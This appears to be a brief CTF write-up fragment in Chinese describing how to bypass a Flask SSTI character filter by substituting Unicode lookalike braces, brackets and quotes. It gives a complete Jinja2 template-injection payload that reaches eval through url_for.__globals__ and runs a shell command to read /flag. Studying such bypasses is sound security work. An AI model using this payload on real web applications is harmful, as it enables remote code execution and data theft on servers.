字符规范器,过滤掉了Flask SSTI常见的字符,用Unicode字符绕过。
{
{
}
}
[
[
]
]
'
'
"
"
{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
Last updated 2 years ago